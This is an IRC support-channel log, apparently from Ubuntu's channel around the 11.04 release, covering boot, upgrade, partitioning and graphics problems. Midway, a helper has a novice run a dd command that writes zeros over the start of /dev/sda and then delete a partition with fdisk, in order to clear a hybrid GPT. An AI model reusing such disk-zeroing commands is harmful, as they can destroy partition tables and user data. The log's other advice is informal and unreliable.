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Hybridtheoryb4what do you mean im using windows right now00:01
genecHybridtheoryb4: you answered my question00:02
Hybridtheoryb4are you saying add a irc client while booted in the live demo of ubuntu disc00:02
hardcoldwhat is an equivalent to click-to-flash for OSX?00:02
hardcoldI've tried various plugins but haven't had any luck00:02
genecHybridtheoryb4: it's possible.  I've installed packages to the running live CD00:02
bullgard4Hybridtheoryb4: Do you have 2 computers at your disposal? 1 for setting up Ubuntu and 1 for IRC conversation?00:02
Hybridtheoryb4yes i do00:03
Hybridtheoryb4which is what i just thought about doing00:03
hardcoldclick-to-flash blocks all flash, allowing you to enable it by clicking on the flash element and also replaces media with h264 if available00:03
genecbullgard4: good one00:03
genechardcold: FireFox addin FlashBlock will do the Adobe Flash bit00:04
bullgard4Hybridtheoryb4: Then please use 1 computer for IRC conversation and put a live Ubuntu CD into the 2nd computer and start it.00:04
Hybridtheoryb4ok well ill be using the 11.04 install disc to boot00:05
Hybridtheoryb4give me a few minutes i have to take care of something real quick00:06
bullgard4Hybridtheoryb4: Yes. Go ahead.00:06
Hybridtheoryb4so i should take and delete the partition i made for linux and put it back into my windows partition00:08
bin_bashHello all. I was able to get the .iso to a .img and then load it onto a USB, but I can't boot from the USB. I'm not sure what to do00:08
bullgard4Hybridtheoryb4: No.00:09
step21bin_bash: is this still on a mac?00:09
bin_bashstep21:  yes. I followed the instructions on the ubuntu site for creating a bootable USB but it didn't work.00:09
Hybridtheoryb4so leave my partition that i had made in windows even though its ntfs file system00:11
knightautwellhey is there a way to record songs form the last.fm app?00:11
step21bin_bash: can't you boot from a cd/dvd? like I said before because of the apple firmware and its problems it's a gamble at best if usb booting for anything apart from os x works00:11
hardcoldgenec, I have flashblock, and Flash Video Replacer (FVR) but it doesn't load the replacement. Do I need to download a mp4 codec/plugin?00:11
bin_bashstep21:  Nope. I can't boot from a CD00:11
step21bin_bash: macbook air?00:11
bullgard4Hybridtheoryb4: For the next short time, yes. --  Please start your Ubuntu Live CD now.00:11
bin_bashNo, MBP 8,1 when trying to do it from a CD I get the error: "Unable to find medium containing live file system"00:12
genechardcold: never heard of FVR or click-to-flash so not sure what else to suggest.00:12
knightautwellanyone know?00:12
hardcoldgenec, okay, thanks00:12
knightautwellhey trism you know?00:12
step21bin_bash: did you check the cd for errors?00:12
bin_bashstep21:  yes.00:13
bin_bashstep21: I've burned THREE separate CDs and I've checked the MD5 hash.00:13
genecHybridtheoryb4: bu llgard4 is right.  leave it as-is and let's just see what the Live CD shows, just for consistency00:14
step21bin_bash: mmh. I still think trying with a diff. cd/dvd has a better chance of success than succeeding with usb ... does any cd boot?00:14
step21(fe windows)00:14
bin_bashstep21:  Not ArchBang and not Puppy00:14
step21bin_bash: weird.00:15
genecbin_bash: have you tried the verifier from the boot menu?  (did I suggest that last night to you or someone else?)00:15
bin_bashWith ArchBang and Puppy I get /bin/sh: can't access tty: job control turned off00:16
bin_bashgenec:  yep did that00:16
step21bin_bash: but it boots somewhat?00:16
step21maybe wrong arch?00:16
bin_bashstep21:  it gets to the splashscreen and then can't load the livecd00:16
bin_bashThere's NO way it's a coinicidence that it happens with THREE different distros00:17
genecor perhaps somehow Linux can't see the CD drive00:17
bin_bashThat's the problem00:17
genecwhich seems completely mucked up but those symptoms lend to the theory00:17
step21try if you can alt-FX or ctrl-alt-FX to another tty to get another error message00:18
bin_bashcan't use function keys. they don't work.00:18
step21mmh00:18
genecoh fuh.  that stinks since they're critical00:18
genecbin_bash: still have a spare CD-R?  or could you point me to the USB conversion howto you found?00:19
* genec has an idea for a distro or two to try00:19
bin_bashgenec:  http://www.ubuntu.com/desktop/get-ubuntu/download00:19
step21on the ubuntu hardware pages, does it say something about special drivers/boot command?00:19
bin_bashI'm running out of CD-Rs00:20
step21like a special option for grub00:20
genecbin_bash: USB, Ubuntu?00:20
bin_bashUSB, Mac00:20
genecbin_bash: https://help.ubuntu.com/community/MacBookPro looks good.  8.1 for Natty... now to read00:22
bin_bashgenec:  already been over it00:22
geneccrud00:22
step21genec: it says it should work ootb.00:22
Hybridtheoryb4ok give me a second to finish the install of pidgin on my other computer so i can talk00:23
step21I know that it's possible to replace superdrives ... but I guess it's still the original?00:23
KM0201o/ everyone00:23
bin_bashYes. I just got this computer 2 weeks ago00:23
KM0201bin_bash, ok, how did you move the IMG onto the uSB?00:23
bin_bashi followed the instructions exactly00:24
KM0201bin_bash, is it an intel mac?00:24
KM0201i assume it is, since you said its new00:24
bin_bashKM0201:  yeah intel i500:24
KM0201hmm00:25
KM0201i have kind of a wicked idea.00:25
KM0201however, given possible illegalities, we won't be able to discuss it here.00:25
step21bin_bash: anyway ... going now, but good luck00:25
Hybridtheoryb4ok starting disk now00:25
genecKM0201: experienced with the Mactels and Linux, iirc?00:28
hybridtheoryb41ok starting up live demo disk you want me to type in the terminal fdisk -I right00:28
KM0201no, i'm not... not at all actually00:28
hybridtheoryb41not capital i though00:28
genechybridtheoryb41: not I L, lowercase L00:28
hybridtheoryb41o00:28
genec-l is for list00:28
hybridtheoryb41i know i didn't know why you wanted I00:29
hybridtheoryb41i actually know some console code because i had to learn it for a+ certification00:29
genecoh, sorry.  wasn't sure if you were familiar.  must have been a font issue00:29
genecI just capitalized in hopes of clarity00:30
hybridtheoryb41no big its still loading up right now00:30
hardcoldbin_bash00:33
hardcoldyou there?00:33
hardcoldbin_bash, I'm going over the MBP 8,1 thread, and a person here with your issue used the CD and the USB stick. The install switched to the USB stick and worked. So try with both.00:34
bin_bashooh ok00:35
genecbin_bash: since the boot from the USB worked, I can also point you to a mini/rescue that could help diagnose it if hardcold's idea doesn't pan out00:36
bin_bashok. brb.00:36
hybridtheoryb41i got the spinning wheel right now just clicked on try ubuntu so i can run the code00:37
rooksthat mail icon that sits in notification area, what is its name, and how to tamper with it from commandline? like how to register my client to use it?00:43
hybridtheoryb41fdisk -l displays nothing genec00:43
knightautwellanyone know how to record what ever is playing on the last.fm app?00:43
genechybridtheoryb41: as root?  ie, 'sudo fdisk -l'?00:44
rooksknightautwell, record from what you hear source comes to mind, tho im not sure if its available with pulse. probably is, but might require tampering00:44
genechybridtheoryb41: sorry about that00:44
knightautwellidk lol i was just wandering00:44
hybridtheoryb41ok didn't think about that ok00:45
hybridtheoryb41ok what now00:45
geneccould you pastebin the results?00:46
hybridtheoryb41ok how exactly should i do it00:47
hybridtheoryb41just print screen00:47
hybridtheoryb41then paste on pastebin00:48
genecyou could copy the text (highlight) and paste into pastebin (center click)00:49
genecor select, right click, copy, right clikc paste00:50
hybridtheoryb41ok i didn't know i could copy in terminal00:50
hybridtheoryb41ok http://pastebin.com/4TBB33Kh00:51
hybridtheoryb41did you get it genec00:53
ckwalshIs unity now the default interface for Desktop too?00:53
geneclooking00:53
hybridtheoryb41ok00:53
genecoh boy.  that deadly thing00:54
hybridtheoryb41what00:55
genechybridtheoryb41: did you knowingly configure a hybrid MBR/GPT?00:55
hybridtheoryb41no00:55
hybridtheoryb41it must because i had mac installed at one point on my laptop00:55
genechybridtheoryb41: maybe something confused fdisk....  'sudo gdisk -l'00:56
genechybridtheoryb41: oh, yeah, GPT is a requirement of EFI.  that could explain the mass confusion.  BIOS load Windows ignores GPT and Linux will try GPT and the two probably are not aligned.00:57
hybridtheoryb41i think i locked up my computer i can move my mouse but not read any clicks00:57
genechybridtheoryb41: brb hopefully.  you may need to do 'sudo dd bs=512 skip=1 count=62 if=/dev/zero of=/dev/sda' but not yet.00:58
hybridtheoryb41ok00:59
rwwckwalsh: yes00:59
hardcoldbin_hash hasn't come back. It worked then?00:59
ckwalshHrm... Not a fan to be honest00:59
hybridtheoryb41no luck still with it becoming unlocked should i restart it00:59
ckwalshThe normal desktop interface is still available though, right?00:59
hardcolder, bin_bash00:59
mithridatesI was upgrading from 10.10 to 11.04 that in the last stage I got hdd failure, I did "dpkg --configure -a" now when I boot it nothing happens, a black screen01:00
mithridateshow can I fix that?01:00
mithridatesI got kernel panic during first boot, then after dpkg... it's just black01:01
mithridatesnothing happens01:01
mithridatesI booted my machine with the previous ubuntu which is 10.10 and now I don't know how to fix that mess01:01
mithridatesany idea?01:01
KM0201mithridates, sounds like you're gonna be reinstalling.01:03
mithridatesKM0201: I tried update-manager -d again but it doesn't show that I can upgrade it again (I'm in previous version 10.10 and 11.04 is installed(but doesn't work))01:04
KM0201mithridates, i dunno man.. broken upgrades are always a nightmare01:05
hybridtheoryb41can you uninstall it01:05
mithridateshow can I reinstall it from downloaded packages? btw when I go to system>about ubuntu -> I see version is ubuntu natty01:05
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KM0201how do you uninstall an operating system?01:05
mithridatesI guess I'm fucked01:05
hybridtheoryb41i didn't know if you could uninstall the update01:05
hybridtheoryb41since he booted into the old01:05
torchiehmm01:06
KM0201oh i doubt it highly.01:06
KM0201or.. let me rephrase01:06
KM0201i've never heard of that happening01:06
hybridtheoryb41me too i just thought id throw it out01:06
KM0201a broken upgrade, is about the most difficult thing to recover from.01:06
torchieI think we may need a change to empathy for when it stays open on an IRC channel for days straight01:06
rwwI think people need to stop thinking Empathy is a usable IRC client :<01:06
KM0201honestly, that goes for any OS... if you're upgrading from XP to Vista, and something goes wrong and i breaks.. the chances of recovery are very very slim...01:06
mithridatesKM0201: but all packages are installed !!01:06
* KM0201 could kiss rww for saying that.01:07
lcbmithridates, do you get any console prompt?01:07
mithridateshow can I just repair it?01:07
mithridateslcb: yes01:07
KM0201busybox?01:07
mithridateslcb: in recovery mode I can get it01:07
lcbmikebeecham, u did already sudo dpkg –configure -a , isn't?01:07
KM0201Empathy isn't even a very good instant messaging client, let alone a good IRC client.01:08
mithridateslcb: yes I did01:08
lcbmithridates, try sudo apt-get upgrade –fix-broken01:08
mithridateslcb: and I don't get a kernel panic anymore, but I don't go anywhere but a blank01:08
hybridtheoryb41genec you back01:08
lcbtry that one first01:08
mithridateslcb: anything else? because I should restart it, by the way I don't have internet in that console01:09
rwwlcb: something appears to be replacing -- with – in your messages. that'll probably cause an issue at some point :<01:09
lcbhm01:09
hybridtheoryb41and i know KM0201 that the chance of rcovey when updating from like xp to vista is very slim it just didn't know how it was with linux im new to it01:09
lcbcan you past it rww ?01:09
mithridatesI'm going to reboot it, tnx lcb01:10
chotazI get this in 'demsg' when I plugin my webcam: 'endpoint lacks sample rate attribute bit, cannot set.' what mgiht this be?01:10
KM0201hybridtheoryb41, yah.. i'm not saying it'll be impossible, but.. who knows.. anything can happen... remember in dumb and dumber when eh was asking the girl on a date and she said his chances were more like '1 in a million' and he got all excited and said, "but you're saying there's a chance!"01:10
lcbmithridates, wait01:10
mithridatesok01:10
lcbmithridates, did you get anything after that command?01:10
KM0201hybridtheoryb41, thats how i feel about fixing broken upgrades.. :)01:11
mithridateslcb: now? nothing01:11
hybridtheoryb41yah i love that part but it makes sense that it would be that slim01:11
mithridateslcb: 0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.01:11
jiohdiyou might try sudo apt-get install -f01:11
jiohdisometimes that fixes broken stuff01:11
mithridatesI've booted from the previous version 10.1001:11
jiohdiin terminal01:11
KM0201hybridtheoryb41, yeah.. you can try to start forcing stuff to install, etc.. but i'm guessing after all that, he's gonna end up w/ an unstable system...01:11
lcbmithridates, don't just reboot.. wait a bit. be pacient or you might lose everything01:11
mithridatesjiohdi: nothing01:11
hybridtheoryb41yah01:11
mithridateslcb: why should I lose, nothing is in progress, everything is stable01:12
lcbstable??01:12
mithridateslcb: I can boot via previous version again01:12
_|pegasus|_Does anyone have an idea why this aboutme-icon doesn't change no more: http://goo.gl/MzStn - It should show the available-state...01:12
mithridateslcb: yes because I've booted with the previous version it was in grub options01:12
lcbahh, ok. fix filesystem then01:12
jiohdiif you dont have any data to protect, reinstall is usually better than trying to fix things01:12
mithridateslcb: how can I do that?01:13
lcbmithridates, the other option is botting from live cd01:13
mithridateslcb: no!01:13
chotazNo one has any tips on my webcam problem?01:13
mithridateslcb: there is not such an option01:13
mithridatesjiohdi: well I can't because I don't have the CD, I did update-manager -d01:13
mithridateslcb: how can I fix the file system? is it related to my problem?01:14
jiohdisince older is working you can still create a cde01:14
jiohdicd01:14
lcbmithridates, ' sudo touch /forcefsck 101:14
lcbmithridates, ' sudo touch /forcefsck '01:14
hybridtheoryb41hey KM0201 it looks like i have my a hybrid mbr/gpt table do you know how to fix it so ubuntu will recognize my windows partition01:14
mithridateslcb: what does that do?01:14
hybridtheoryb41without wiping my drive01:14
KM0201hybridtheoryb41, i have no idea on that one.01:14
hybridtheoryb41preferablu01:14
mithridateslcb: I'm afraid I lose what I have01:14
KM0201never even heard of it.01:14
hybridtheoryb41ah01:14
lcb"<mithridates> I was upgrading from 10.10 to 11.04 that in the last stage I got hdd failure, I did "dpkg --configure -a" now when I boot it nothing happens, a black screen"01:15
mithridatesI gochya, it check my filesystem in next reboot01:16
mithridatesthanks man01:16
mithridatesI'll try it01:16
lcbrww, i missed -- ' sudo apt-get upgrade --fix-broken ' the -- .. gotchya01:18
chotazI get this in 'demsg' when I plugin my webcam: 'endpoint lacks sample rate attribute bit, cannot set.' what mgiht this be?01:19
hybridtheoryb41anyone know anything about hybrid mbr/gpt table01:21
_|pegasus|_lcb?01:21
lcbalive & well, Inc01:22
lcb:p01:22
_|pegasus|_hehehe01:22
_|pegasus|_lcb: The aboutme-icon - shouldn't it show the Online-State of empathy too?01:23
lcb_|pegasus|_,  i don't know.... i don't use it. check empathy settings and see if there is an online for panel01:25
_|pegasus|_lcb: It shows me an icon that's confusing me - a grey circle.01:26
lcbmithridates, no smoke from the computer?01:26
mithridateslcb: I did it, and now I'm in the new ubuntu, but there is a problem with gnome01:26
mithridateslcb: I can't do anything in gnome, how can I reinstall it and replace it with gnome 301:26
KM0201..01:26
mithridates?01:26
lcb_|pegasus|_,  i don't know buddy, sorry01:26
mithridateswhat was the ppa source01:26
mithridatessomething is wrong with gnome01:27
lcbmithridates, wait for gnome3 to be integrated...01:27
mithridateslcb: so how can I reinstall this gnome01:27
lcbmithridates, you shouldn't install/upgrade anything that is already installed in natty, at this point01:28
mithridateslcb: but I can't use graphical mode!!!!!!!!01:28
mithridatesit's frozen01:28
lcbok...01:28
lcbdo the failsafeX on the grub menu01:28
mithridatesand then?01:29
mithridatesI will ask myself 10*10^23 why I did that01:30
lcbmithridates, this will take me a bit to write, so wait, don't just run away01:30
mithridatesany idea please, I don't have access to browser for searching01:31
lcbwhile rebooting, after BIOS messages press SHIFT. you have an option to entering a recovery mode. select that one /01:31
mithridatesthat one / ?01:32
mithridateswhat's / ?01:32
jiohdiyou can use a terminal browser like links01:32
lcbyou'll get then a menu. select first the one DPKG, then, GRUB, then, CLEAN, then FailsafeX / (means i didn't finish)01:32
mithridatesah ok thanks01:33
lcbmithridates, when you get to the failsafeX menu select to repair X, then select Default, then CANCEL, then Restart X.01:33
lcbmithridates, you can go now :p01:34
lcbreboot again afterwards, btw01:34
mithridatesI'm writing01:34
mithridatesthanks01:34
mithridatesI appreciate it01:34
lcbhm01:34
lcbtoo quick...01:35
lcbrww, i'm trying to find out where is that_ __ came fom, while writing that command. probably i touched the touchpad without intention and any combo of keys, don't know... i need to disable this touchthing. don't use it.01:39
genechybridtheoryb41: could you paste the output of 'sudo gdisk -l'?01:42
hybridtheoryb41i tried to run it says gdisk doesn't exist01:42
genecsgdisk?01:42
hybridtheoryb41i haven't tried but i can tell you gparted says its a gpt table01:43
hybridtheoryb41no go on the sgdisk too01:43
hybridtheoryb41genec would my best bet be to wipe my drive by recreating the partition table as mbr using gparted01:44
genechybridtheoryb41: no.  let me boot my vm on that iso01:46
hybridtheoryb41ok01:46
hybridtheoryb41any luck yet genec01:52
genechybridtheoryb41: 'sudo dd bs=512 skip=1 count=34 if=/dev/zero of=/dev/sda' to start01:53
hybridtheoryb41ok give me a sec to type it01:54
hybridtheoryb41ok what now genecs01:56
hybridtheoryb41*genec01:56
genecthere's another copy but it'd be easiest to make a partition01:56
hybridtheoryb41?01:56
genecGPT backup01:57
hybridtheoryb41so what do i do know01:57
hybridtheoryb41genec am i supposed to make a partition01:59
bluefox83!pithos02:01
genec'sudo fdisk /dev/sda', delete #3, new, primary, #4, from cylinder 3891302:01
bluefox83well that was useless...how does the bot not know anything about a package that's in the repo?02:01
genecbluefox83: iirc, it only knows what it's taught02:02
bluefox83i was under the impression someone has dumped all the package details into the bot...02:03
bluefox83i guess i was wrong02:03
rww!info pthos02:03
rww!info pithos02:03
ubottuPackage pthos does not exist in natty02:03
ubottupithos (source: pithos): Pandora Radio client for the GNOME desktop. In component universe, is optional. Version 0.3.8-1 (natty), package size 129 kB, installed size 664 kB02:03
bluefox83so anyways...why the heck do i keep getting an error every time pithos tries to update the list of songs it's going to play, says gstreamer encountered a general stream error...02:04
bluefox83i get three songs and then it craps out on that station and i have to chose another station02:04
bluefox83i checks all the deps, i have everything02:05
bluefox83*chekced02:05
bluefox83*checked02:05
hybridtheoryb41genec so i type sudo fdisk /dev/sda02:05
bluefox83maybe i should slow down a little02:05
genechybridtheoryb41: yes02:05
hybridtheoryb41then do i type delete #302:05
genecd for delete, 302:05
hybridtheoryb41ok02:06
hybridtheoryb41genec says no partition selected02:06
genechybridtheoryb41: paste?02:07
hardcoldany recommendations for cpu frequency control?02:08
kushal3quick question guys, I am on an asus n61jv-x2 i5 M430 2.27 GHz, NVidia GT325M. I could not get unity running natively because my graphics card does not support it, apparently. It works in Natty in virtualbox inside windows 7. Any ideas? :(02:09
hybridtheoryb41genec ive type d, 3 and d 3 and d #3 and it says no partitions is yet defined02:10
genechybridtheoryb41: 'p' then <enter>02:12
hybridtheoryb41genec ok02:13
hybridtheoryb41want me to paste02:13
hybridtheoryb41it shows no partitions02:14
genechybridtheoryb41: yes, paste02:14
hybridtheoryb41ok one sec02:14
hybridtheoryb41genec firefox isn't opening to paste02:15
hybridtheoryb41to paste bin that is02:16
hardcoldI just installed indicator-cpufreq. How do I make it startup at login, or, how do I move it to startup items?02:32
KM0201hardcold, the indicator apps should all start at login by default i do believe02:36
Cas07hi, ive just updated maverick to natty and i seem to have a package problem with libasound2 it wont upgrade without removing a large section of my applications02:42
skjeggenHello02:49
skjeggenI'm seeking som assistance on getting 11.04 latest beta running with dual monitors02:50
skjeggenwhen configuring with nvidia-settings im only able to make twinview useful. when trying seperate x-screens only primary display is acepting input from keybord, and trying to manualy drag or copy a shortcut betwen desktops it just pops back to my main display.02:53
coz_what the heck is going on with natty? it freezes making any settings change,, easystroke and cairo dock dont work properly  and freeze the system,, even chaning wallpaper sometimes freezes the system and this is a clean install02:59
coz_but the same behavior as the previous install which was updated from alpha03:00
softcoderhello?03:00
coz_softcoder, hey guy03:00
skjeggenheya :)03:00
softcoderneed help with natty running on Host 10.10 guest 11.04 (both 64 bit)03:00
softcoderusing virtualbox03:00
KM0201softcoder, won't happen03:00
softcoder?03:00
coz_softcoder,  I may not be able to help but ^^^03:01
softcoderwhy not?03:01
KM0201because virtualbox doesn't work w/ 11.04, because of the 3d desktop.. even if you enable 3d, won't happen...03:02
KM0201trust me, been tried here several times03:02
softcoderahh ok to obad03:02
rwwlast time I said that, two different people said I was lying :<03:02
KM0201rww, well, i'm way more convincing than you03:02
KM0201lol03:02
rwwhehe03:02
softcoderI am an author for megaglest (open source rts) and wanted to ensure good compatibility with 11.04 before release03:02
skjeggenAnyone of you been able to run seperate desktop on two or more monitors?03:02
Cas07skjeggen: sorry i only use dualview03:03
softcoderso my only hope is another whole system?03:04
coz_skjeggen,  are you using 2 separate xscreens ?03:04
coz_softcoder,  love megaglest  :)  but not sure ,, I have never tried it in virtual and apparenlty it doesnt work with unity I believe,, not sure about classic though03:04
skjeggencoz_, yes but only main monitor acapts input from keyboard.03:05
softcoderhmm... tomreyn (our QA guy did seem to think it worked)03:05
softcoderI wanted to play myself a bit to ensure maximum success since i love ubuntu03:05
coz_skjeggen,  then I am at aloss... no separate desktops withouth xinerama / separate xscreens as far as I know03:06
coz_I hate natty this week :)03:07
skjeggencoz_, wel xinerame actually fros entire desktyp, had  to delet and make a new xorg.conf file :s03:08
coz_I see03:09
Cas07think i found fix for my problem, i had a maverick ppa python2.7 installed causing version conflict!03:15
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IHATEMACSfreakin macs03:48
IHATEMACSlol03:48
genecIHATEMACS: which part?03:49
IHATEMACSwhich part what?03:49
genechating macs, etc03:49
damadprofhi guys, I've been searching for a fix to allow automounting of my usb devices, apparently it seems to be either the ndiswrapper or two lines that need to be added to the etc/modules file, my problem is that I don't know (yet) how to open this file as admin?03:52
IHATEMACSgenec, i just hate them03:52
IHATEMACSlol03:52
* genec would love to get his hands on a PowerPC Mac03:53
natalie_Is there anyone who could help me with a video issue I'm having?03:56
genecjust for the fact that I've dealt with Intel's CISC/LE enough that I dislike it03:56
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natalie_I am having an issue with my windows lagging/stuttering when I move them. Can anyone help me with this?04:00
natalie_I've checked the forums and everything, to no avail.04:00
FoolishOwlHi. I was trying to figure out why the repositories have a source package that's a later version than the corresponding binary package.04:18
rwwFoolishOwl: which package?04:18
FoolishOwlrww: fgfs-base04:19
genecdelay in build or sync in progress?04:19
rwwwhat genec said04:20
FoolishOwlgenec: That would be my guess, but I don't know the norms, so I don't know if it's a problem that needs to be reported.04:20
rww"Note: Some binary packages for this source are not yet published in the repository." ~ Launchpad04:20
genecFoolishOwl: you'll probably want to either sit and wait or you'd need to know the IP of the server you're using.04:20
rwwgenec: It's not finished publishing in Launchpad yet; it won't be on any of the mirrors.04:21
genecahh, so the first; build not a sync04:21
rwwIt's built, it's just not published. I'm trying to figure out why.04:22
rwwMight just be because it's rather large.04:22
FoolishOwlrww: where was that message you quoted from?04:23
rwwoh, three days ago. Might be caught in one of the freezes.04:23
rwwFoolishOwl: https://launchpad.net/ubuntu/+source/fgfs-base , click the arrow next to 2.0.0-1 under "The Natty Narwhal"04:23
FoolishOwlYeah, Flightgear's a big application.04:23
rwwFoolishOwl: I take it the source package is 2.0.0-1 and the binary is 1.9.0-1?04:24
FoolishOwlrww: right.04:25
rwwFoolishOwl: I'm guessing it got caught by one of the freezes we have in preparation for release. You could ask in #ubuntu-motu if you want a more knowledgeable opinion.04:25
rwwI'm not sure why the source package got published; maybe it's an oddity of the way things are done.04:26
FoolishOwlOkay, that makes sense. Thanks for checking.04:26
litropyI _think_, although I'm not sure, I set a bootscreen option (pretty sure it was plymouth) to text as opposed to graphical back when there was an issue with the graphical mode. I want to check if the option is still set. If no one can describe to me what to visually look for, I want to check whatever config file to see if it's set. If I'm set to text mode, I want to test out graphical mode and I need help in doing so.04:33
rwwlitropy: The usual way of switching plymouth on and off is editing /etc/default/grub and removing "quiet" or adding "text" to a line that I forget.04:34
litropyrww, scanning /etc/default/grub ...04:35
rwwsorry, splash, not quiet04:36
litropyrww, see "GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"": http://pastebin.com/D4bJMVpW04:37
litropyrww, should it change to "GRUB_CMDLINE_LINUX_DEFAULT="splash""?04:39
rwwlitropy: no, I misspoke. That should work fine :|04:40
rwwhaving "splash" there means plymouth is turned on as far as that file goes...04:40
rwwdid you perhaps edit /boot/grub/grub.cfg?04:40
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litropyrww, I highly doubt it. I might be seeing what I should see. On a related note, I heard grub's image selection interface (where you can choose other partitions and images) has a graphical mode. Is it stable yet?04:51
rwwlitropy: No idea, I haven't been keeping track of it.04:52
* rww doesn't generally dualboot, so...04:52
litropyrww, thanks for your help.04:52
mithridatesI got a problem in natty, I wanna install gnome but I get this error:04:53
mithridatesgnome : Depends: gnome-desktop-environment (= 1:2.30+7ubuntu3) but it is not going to be installed04:53
mithridateshow can I solve it, it's driving me crazy04:54
mithridatesI can't login into ubuntu desktop neither, I have to login into ubuntu classic desktop04:54
KM0201mithridates, if you're logging into ubuntu classic, that is gnome04:57
mithridatesKM0201: yes but gnome package is not installed, graphic is weird04:57
mithridatesKM0201: how can I solve a dependency issue?04:58
litropyFor those interested: "The graphical menu is now available in GRUB's experimental branch." http://grub.gibibit.com/Journal05:03
mithridatesDr. Adventurelove or: How I Learned to Stop Worrying and Love the alpha releases05:05
litropyI'll wait for that. For now, I just did $ sudo apt-get install startupmanager and "Show boot splash" was un-checked. Checked it, and will be back after a reboot. Short description of startupmanager here: http://mygeekopinions.blogspot.com/2011/03/install-grub-customizer-gui-for-ubuntu.html05:06
litropymeh, no noticeable difference.05:11
roothorickOkay, so where do I get a static libz?05:19
roothorickor do I have to make my own?05:20
knightautwellis is there a way to change the whole ubuntu os to jap?05:25
trismknightautwell: install the japanese language support in System Settings/Language Support, and then select 日本語 as the language on the login screen05:27
knightautwellok lol so then even menus will be in japanese?05:27
trismknightautwell: yes05:28
knightautwellok lol i know when i use my win 7 os i have to upgrade to ultimate to be able to do that and even then not everything is in that language05:28
knightautwelltrism: i have a question05:29
trismknightautwell: yes?05:29
knightautwellwhy when i updated my graphics card my graphics got worse? like now when i run some games or something my screen flickers or something05:30
knightautwelllike quadrapassel05:30
trismknightautwell: I don't know, I suppose it would depend on the card05:32
knightautwellmines an ati i activated the restricted driver the update via the synaptic manager then it went weird. it worked fine before i updated them well not fine but manageable but afte i updated it it started acting like this05:33
roothorickwhat GPU?05:34
kazagistarright now, I use gconf to replace Gnome Panel with Awn as soon as I install an ubuntu system. How would doing something like this work with Unity?05:34
roothorickand, single or Crossfire?05:35
rwwI maintain that ATI's restricted driver was dragged from the depths of hell by misguided PC gamers who should have known better.05:35
roothorickkazagistar: unless you a) are using multiple GPUs in Crossfire or b) have a game or program that you confirmed does not work with the normal radeon driver, you shouldn't be using fglrx.05:36
kazagistarroothorick: I assume you meant to respond to knightautwell?05:36
roothorickyeah05:37
roothorickoops05:37
roothorickknightautwell: ^^05:37
kazagistarno problem, i'll just install virtualbox like everyone else I guess :P05:37
knightautwellhi sorry was busy browsing the net now what lol05:37
knightautwellit just annoys me that when i update it it gets worse lol05:38
rwwfglrx is more of a downgrade, despite what the "Additional Drivers" tool says.05:39
rwwwhich is one amongst many of the reasons I wish it didn't pop up like it does.05:39
knightautwellso what would i need to do? i mean before i updated it halo in wine worked well the color was off a bit but now it doesnt work at all05:39
knightautwell??05:43
unityproblemunity is not loading on my pc on natty 11.04 can you help??05:46
unityproblem??05:46
unityproblemanyone here to help?05:47
mns`which graphic video card?05:47
unityproblemintel internal..05:47
hardcoldgoogle issues with your graphics card05:47
mns`what's happen?05:48
hardcoldmost likely that is the problem05:48
unityproblemand i cant move windows ..05:48
unityproblemthey stay in a fixed place..05:49
mns`did you update your system?05:49
unityproblemyes..05:50
unityproblemits beta 1..05:50
mns`how did you installed natty? upgrade or from a cd?05:50
mns`well, it's on beta2 now05:50
mns`how did you installed natty? upgrade or from a new install?05:51
mns`unityproblem: how did you installed natty? upgrade or from a new install?05:54
unityproblemok.05:58
mns`unityproblem: how did you installed natty? upgrade or from a new install?05:58
unityproblemupgrade.05:58
bandit-awayyou can install natty with upgrade or full install from cd05:58
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mns`unityproblem: maybe you should try a new fully install with beta2 direct05:59
unityproblemi upgraded frm 10.10..05:59
unityproblemor wait for final release?05:59
mns`unityproblem: maybe something went wrong or missing with your upgrade.05:59
bandit63i hosed my install with a upgrade from 10.10 and then had to install fresh with a 11.04 cd05:59
mns`unityproblem: see06:00
unityproblemcan i wait fr final release and then upgrade?06:00
mns`unityproblem: or wait for the release or do a fresh install with beta206:00
bandit63i have some where around 2500 packages installed with some extra kernels and such so i am not surprised it didnt upgrade properly06:00
bandit63my laptop upgraded just fine though06:01
mns`unityproblem: when we have the final release you won't have to upgrade =P06:01
bandit63unless we are waiting fro gnome 3 to be stable :D06:01
bandit63for'06:01
ajinhi, there06:01
unityproblemi will have to upgrade frm 11.04 beta to final release rite?06:01
bin_bashYes, hello.06:02
mns`right now unity is doing well here06:02
ajinhi, will "docky" this program make any sense under ubuntu11.04, since there will be unity launcher already?06:02
mns`no crash in the last two days06:02
bandit63unityproblem,  no it will keep upgrading itself untill final is out06:02
unityproblemok.. thanks ! goodbye!06:02
mns`only the docky that don't auto hide anymore today06:03
mns`maybe a logout + login solve that06:03
bandit63you like unity interface mns` ?06:03
bin_bashDoes anyone know how to change the window manager setup and view compiz in gnome?06:03
mns`bandit63: yes06:03
bin_bashoh, bandit63: I got it installed06:03
KyubeyHey06:03
KyubeyI have a question06:03
mns`i'm using it half a month now06:03
ajinwell, the unity laucher is somewhat another "docky"06:03
bandit63bin_bash,  nice did you have to use a cd or thumbdrive?06:03
KyubeyI just installed natty on my old laptop, running unity right now06:04
KyubeyHow do I enable special effects? (windows jiggling and stuff)06:04
bandit63dunno i am running classic :O06:04
KyubeyI knew how to do it with 10.10, but I'll be damned if I can find it in here06:04
ajinhello?06:04
ajini'm consusing about whether the "docky" existence would make any sense in future ubuntu versition?06:05
bandit63Kyubey, have you installed the Compiz configuration settings manager ?06:06
Kyubeybandit, no I have not. Do I have to for 11.04? In the last version it was already in the default stuff06:06
bin_bashbandit63: how do i enable fx and customize compiz in "classic"?06:07
ajinanybody answer my quesion?06:07
bandit63Kyubey, i dont know i would check it and see or try simple-ccsm06:07
bandit63Kyubey, what i just wrote would apply to you as well06:07
ajinno one knows?06:07
bandit63look for  simple-ccsm  or compizconfig-settings-manager06:08
bandit63ajin,  i would not think that docky would be useful with unity06:08
KyubeyBah!06:08
KyubeyApparently you cant have both snapping windows and wobbly windows06:08
bandit63Kyubey, there is no hacks for that06:08
ajinbandit63: yeah, me too06:08
KyubeyI'll stick to snapping windows I guess, oh well06:09
bandit63ajin, i use the classic so docky works well there06:09
KyubeyBut now I know ^^06:09
* genii-around sips and thinks about wobblysnaps06:09
KyubeyI dont know why you'd need docky if you have unity already06:09
Kyubeyit pretty much provides a dock for you06:09
bandit63thats what he was saying06:09
ajinbut that's would be a totally waste, since the docky works so well till now06:09
bandit63some of use are not so keen on unity06:10
ajinthe developers work on "docky" would be in vain06:10
bandit63docky is not just for ubuntu thought ajin06:10
